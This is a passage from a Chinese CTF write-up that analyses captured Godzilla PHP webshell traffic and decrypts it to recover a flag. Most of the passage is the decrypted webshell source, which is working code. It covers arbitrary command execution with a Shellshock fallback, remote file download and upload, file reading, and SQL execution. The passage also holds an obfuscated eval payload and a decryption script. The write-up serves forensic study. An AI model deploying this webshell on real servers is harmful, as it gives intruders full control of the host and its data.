            }else{
                return "fail";
            }
        }else{
            return "no ExcuteType";
        }
    }else{
        $ret="type or attr or fileName is null";
    }
    return $ret;
}
function fileRemoteDown(){
    $url=get("url");
    $saveFile=get("saveFile");
    if ($url!=null&&$saveFile!=null) {
        $data=@file_get_contents($url);
        if ($data!==false){
            if (@file_put_contents($saveFile,$data)!==false){
                @chmod($saveFile,0777);
                return "ok";
            }else{
                return "write fail";
            }
        }else{
            return "read fail";
        }
    }else{
        return "url or saveFile is null";
    }
}
function copyFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (@is_file($srcFileName)){
        if (copy($srcFileName,$destFileName)){
            return "ok";
        }else{
            return "fail";
        }
    }else{
        return "The target does not exist or is not a file";
    }
}
function moveFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (rename($srcFileName,$destFileName)){
        return "ok";
    }else{
        return "fail";
    }

}
function getBasicsInfo()
{
    $data = array();
    $data['OsInfo'] = @php_uname();
    $data['CurrentUser'] = @get_current_user();
    $data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
    $data['REMOTE_ADDR'] = @$_SERVER['REMOTE_ADDR'];
    $data['REMOTE_PORT'] = @$_SERVER['REMOTE_PORT'];
    $data['HTTP_X_FORWARDED_FOR'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $data['HTTP_CLIENT_IP'] = @$_SERVER['HTTP_CLIENT_IP'];
    $data['SERVER_ADDR'] = @$_SERVER['SERVER_ADDR'];
    $data['SERVER_NAME'] = @$_SERVER['SERVER_NAME'];
    $data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
    $data['disable_functions'] = @ini_get('disable_functions');
    $data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
    $data['Open_basedir'] = @ini_get('open_basedir');
    $data['timezone'] = @ini_get('date.timezone');
    $data['encode'] = @ini_get('exif.encode_unicode');
    $data['extension_dir'] = @ini_get('extension_dir');
    $data['sys_get_temp_dir'] = @sys_get_temp_dir();
    $data['include_path'] = @ini_get('include_path');
    $data['DOCUMENT_ROOT'] = $_SERVER['DOCUMENT_ROOT'];
    $data['PHP_SAPI'] = PHP_SAPI;
    $data['PHP_VERSION'] = PHP_VERSION;
    $data['PHP_INT_SIZE'] = PHP_INT_SIZE;
    $data['canCallGzipDecode'] = canCallGzipDecode();
    $data['canCallGzipEncode'] = canCallGzipEncode();
    $data['session_name'] = @ini_get("session.name");
    $data['session_save_path'] = @ini_get("session.save_path");
    $data['session_save_handler'] = @ini_get("session.save_handler");
    $data['session_serialize_handler'] = @ini_get("session.serialize_handler");
    $data['user_ini_filename'] = @ini_get("user_ini.filename");
    $data['memory_limit'] = @ini_get('memory_limit');
    $data['upload_max_filesize'] = @ini_get('upload_max_filesize');
    $data['post_max_size'] = @ini_get('post_max_size');
    $data['max_execution_time'] = @ini_get('max_execution_time');
    $data['max_input_time'] = @ini_get('max_input_time');
    $data['default_socket_timeout'] = @ini_get('default_socket_timeout');
    $data['mygid'] = @getmygid();
    $data['mypid'] = @getmypid();
    $data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
    $data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
    $data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
    $data['short_open_tag'] = @get_cfg_var('short_open_tag');
    $data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
    $data['asp_tags'] = @get_cfg_var('asp_tags');
    $data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
    $data['safe_mode'] = @get_cfg_var('safe_mode');
    $data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
    $data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
    $SCRIPT_FILENAME=@dirname($_SERVER['SCRIPT_FILENAME']);
    $data['FileRoot'] = '';
    if (substr($SCRIPT_FILENAME, 0, 1) != '/') {foreach (range('A', 'Z') as $L){ if (@is_dir("{$L}:")){ $data['FileRoot'] .= "{$L}:/;";}};};
    $data['FileRoot'] = (strlen(trim($data['FileRoot'])) > 0 ? $data['FileRoot'] : '/');
    $data['FileRoot']= substr_count($data['FileRoot'],substr($SCRIPT_FILENAME, 0, 1))<=0?substr($SCRIPT_FILENAME, 0, 1).":/":$data['FileRoot'];
    $result="";
    foreach($data as $key=>$value){
        $result.=$key." : ".$value."\n";
    }
    return $result;
}
function getFile(){
    $dir=get('dirName');
    $dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
    $dir.="/";
    $path=$dir;
    $allFiles = @scandir($path);
    $data="";
    if ($allFiles!=null){
        $data.="ok";
        $data.="\n";
        $data.=$path;
        $data.="\n";
        foreach ($allFiles as $fileName) {
            if ($fileName!="."&&$fileName!=".."){
                $fullPath = $path.$fileName;
                $lineData=array();
                array_push($lineData,$fileName);
                array_push($lineData,@is_file($fullPath)?"1":"0");
                array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
                array_push($lineData,@filesize($fullPath));
                $fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
                array_push($lineData,(strlen($fr)>0?$fr:"F"));
                $data.=(implode("\t",$lineData)."\n");
            }

}
    }else{
        return "Path Not Found Or No Permission!";
    }
    return $data;
}
function readFileContent(){
    $fileName=get("fileName");
    if (@is_file($fileName)){
        if (@is_readable($fileName)){
            return file_get_contents($fileName);
        }else{
            return "No Permission!";
        }
    }else{
        return "File Not Found";
    }
}
function uploadFile(){
    $fileName=get("fileName");
    $fileValue=get("fileValue");
    if (@file_put_contents($fileName,$fileValue)!==false){
        @chmod($fileName,0777);
        return "ok";
    }else{
        return "fail";
    }
}
function newDir(){
    $dir=get("dirName");
    if (@mkdir($dir,0777,true)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newFile(){
    $fileName=get("fileName");
    if (@file_put_contents($fileName,"")!==false){
        return "ok";
    }else{
        return "fail";
    }
}

$cmdLine="{$executeFile} {$cmdLine}";
    $cmdLine=$cmdLine." 2>&1";
    $ret=0;

if (!function_exists("runshellshock")){
        function runshellshock($d, $c) {
            if (substr($d, 0, 1) == "/" && function_existsEx('putenv') && (function_existsEx('error_log') || function_existsEx('mail'))) {
                if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                    $tmp = tempnam(sys_get_temp_dir(), 'as');
                    putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                    if (function_existsEx('error_log')) {
                        error_log("a", 1);
                    } else {
                        mail("a@127.0.0.1", "", "", "-bv");
                    }
                } else {
                    return False;
                }
                $output = @file_get_contents($tmp);
                @unlink($tmp);
                if ($output != "") {
                    print($output);
                    return True;
                }
            }
            return False;
        };
    }

if(function_existsEx('system')){
        @system($cmdLine,$ret);
    }elseif(function_existsEx('passthru')){
        @passthru($cmdLine,$ret);
    }elseif(function_existsEx('shell_exec')){
        print(@shell_exec($cmdLine));
    }elseif(function_existsEx('exec')){
        @exec($cmdLine,$o,$ret);
        print(join("\n",$o));
    }elseif(function_existsEx('popen')){
        $fp=@popen($cmdLine,'r');
        while(!@feof($fp)){
            print(@fgets($fp,2048));
        }
        @pclose($fp);
    }elseif(function_existsEx('proc_open')){
        $p = @proc_open($cmdLine, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
        while(!@feof($io[1])){
            print(@fgets($io[1],2048));
        }
        while(!@feof($io[2])){
            print(@fgets($io[2],2048));
        }
        @fclose($io[1]);
        @fclose($io[2]);
        @proc_close($p);
    }elseif(runshellshock($d, $cmdLine)) {
        print($ret);
    }elseif(substr($d,0,1)!="/" && @class_exists("COM")){
        $w=new COM('WScript.shell');
        $e=$w->exec($cmdLine);
        $so=$e->StdOut();
        print($so->ReadAll());
        $se=$e->StdErr();
        print($se->ReadAll());
    }else{
        return "none of proc_open/passthru/shell_exec/exec/exec/popen/COM/runshellshock is available";
    }
    print(($ret!=0)?"ret={$ret}":"");
    $result = @ob_get_contents();
    @ob_end_clean();
    return $result;
}
function execSql(){
    $dbType=get("dbType");
    $dbHost=get("dbHost");
    $dbPort=get("dbPort");
    $username=get("dbUsername");
    $password=get("dbPassword");
    $execType=get("execType");
    $execSql=get("execSql");
    function  mysql_exec($host,$port,$username,$password,$execType,$sql){
        // 创建连接
        $conn = new mysqli($host,$username,$password,"",$port);
        // Check connection
        if ($conn->connect_error) {
            return $conn->connect_error;
        }

$result = $conn->query($sql);
        if ($conn->error){
            return $conn->error;
        }
        $result = $conn->query($sql);
        if ($execType=="update"){
            return "Query OK, "+$conn->affected_rows+" rows affected";
        }else{
            $data="ok\n";
            while ($column = $result->fetch_field()){
                $data.=base64_encode($column->name)."\t";
            }
            $data.="\n";
            if ($result->num_rows > 0) {
                // 输出数据
                while($row = $result->fetch_assoc()) {
                    foreach ($row as $value){
                        $data.=base64_encode($value)."\t";
                    }
                    $data.="\n";
                }
            }
            return $data;
        }
    }
    function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){
        try {
            $conn = new PDO("{$databaseType}:host=$host;port={$port};", $username, $password);

// 设置 PDO 错误模式为异常
            $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

if ($execType=="update"){
                return "Query OK, "+$conn->exec($sql)+" rows affected";
            }else{
                $data="ok\n";
                $stm=$conn->prepare($sql);
                $stm->execute();
                $row=$stm->fetch(PDO::FETCH_ASSOC);
                $_row="\n";
                foreach (array_keys($row) as $key){
                    $data.=base64_encode($key)."\t";
                    $_row.=base64_encode($row[$key])."\t";
                }
                $data.=$_row."\n";
                while ($row=$stm->fetch(PDO::FETCH_ASSOC)){
                    foreach (array_keys($row) as $key){
                        $data.=base64_encode($row[$key])."\t";
                    }
                    $data.="\n";
                }
                return $data;
            }

}
        catch(PDOException $e)
        {
            return $e->getMessage();
        }
    }
    if ($dbType=="mysql"){
        if (extension_loaded("mysqli")){
            return mysql_exec($dbHost,$dbPort,$username,$password,$execType,$execSql);
        }else if (extension_loaded("pdo")){
            return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
        }else{
            return "no extension";
        }
    }else if (extension_loaded("pdo")){
        return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
    }else{
        return "no extension";
    }
    return "no extension";

}
function base64Encode($data){
    return base64_encode($data);
}
function test(){
    return "ok";
}
function get($key){
    global $parameters;
    if (isset($parameters[$key])){
        return $parameters[$key];
    }else{
        return null;
    }
}
function getAllParameters(){
    global $parameters;
    return $parameters;
}
function includeCode(){
    $classCode=get("binCode");
    $codeName=get("codeName");
    $_SES=&getSession();
    $_SES[$codeName]=$classCode;
    return "ok";
}
function base64Decode($string){
    return base64_decode($string);
}
function convertFilePermissions($fileAttr){
    $mod=0;
    if (strpos($fileAttr,'R')!==false){
        $mod=$mod+0444;
    }
    if (strpos($fileAttr,'W')!==false){
        $mod=$mod+0222;
    }
    if (strpos($fileAttr,'X')!==false){
        $mod=$mod+0111;
    }
    return $mod;
}
function close(){
    @session_start();
    $_SES=&getSession();
    $_SES=null;
    if (@session_destroy()){
        return "ok";
    }else{
        return "fail!";
    }
}

if (function_existsEx("fopen")&&function_existsEx("fread")&&function_existsEx("fseek")){
            $handle=fopen($fileName,"ab+");
            fseek($handle,$position);
            $data=fread($handle,$readByteNum);
            @fclose($handle);
            if ($data!==false){
                return $data;
            }else{
                return "cannot read file";
            }
        }else if (function_existsEx("file_get_contents")){
            return file_get_contents($fileName,false,null,$position,$readByteNum);
        }else{
            return "no function";
        }

}else{
        return "no mode";
    }
}

```

然后分析第一段的php我们可以知道哥斯拉是不落地木马，其变量都保存在内存进程中，然后每次都会用gzencode也就是gzip压缩，使用的php的方法所以我们只能用php的方法来解，我们继续分析后面的流量，最后一个流量是

```php
pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=fL1tMGI4YTljMX78f8Wo%2FyhTh1ICWCl3T2Dlffl9LdSpe0j5qneQcq98UNA0fsVlxxBe14XeR9%2FGMTU0pI7iA2M2ZQ%3D%3D
```

和

```php
72a9c691ccdaab98fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=b4c4e1f6ddd2a488
```

重要的就是key的值`key=fL1tMGI4YTljMX78f8Wo%2FyhTh1ICWCl3T2Dlffl9LdSpe0j5qneQcq98UNA0fsVlxxBe14XeR9%2FGMTU0pI7iA2M2ZQ%3D%3D`

然后我们根据上面的思路写出解密脚本

```php
import base64
import os

def decode(D,K):
    D = list(D)
    for i in range(len(D)):
        c = K[i+1&15]
        D[i] = D[i]^c
    return bytes(D)

_pass = 'pass'
key = '3c6e0b8a9c15224a'
p='fL1tMGI4YTljMX78f8Wo/yhTh1ICWCl3T2Dlffl9LdSpe0j5qneQcq98UNA0fsVlxxBe14XeR9/GMTU0pI7iA2M2ZQ=='
a = os.popen(r'php -r echo(base64_encode(gzencode("test")));').read()
print(a)

p1 = base64.b64decode(p)
res = decode(p1,key.encode())
r1 = base64.b64encode(res).decode()
r2 = os.popen('php -r \'echo(gzdecode(base64_decode("'+r1+'")));\'').read()
print(r2)
```

然后key的值我们可以解出来

```php
cmdLine
cat /flag
methodName
          execCommand
```

下面的返回我们取16个字符后的base64`fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=`我们可以解出：

```php
flag{5db5b7b0bb74babb66e1522f3a6b1b12}
```

发表于 2021-10-05 18:48:08
阅读 ( 7513 )
分类：WEB安全

分析流量入门篇

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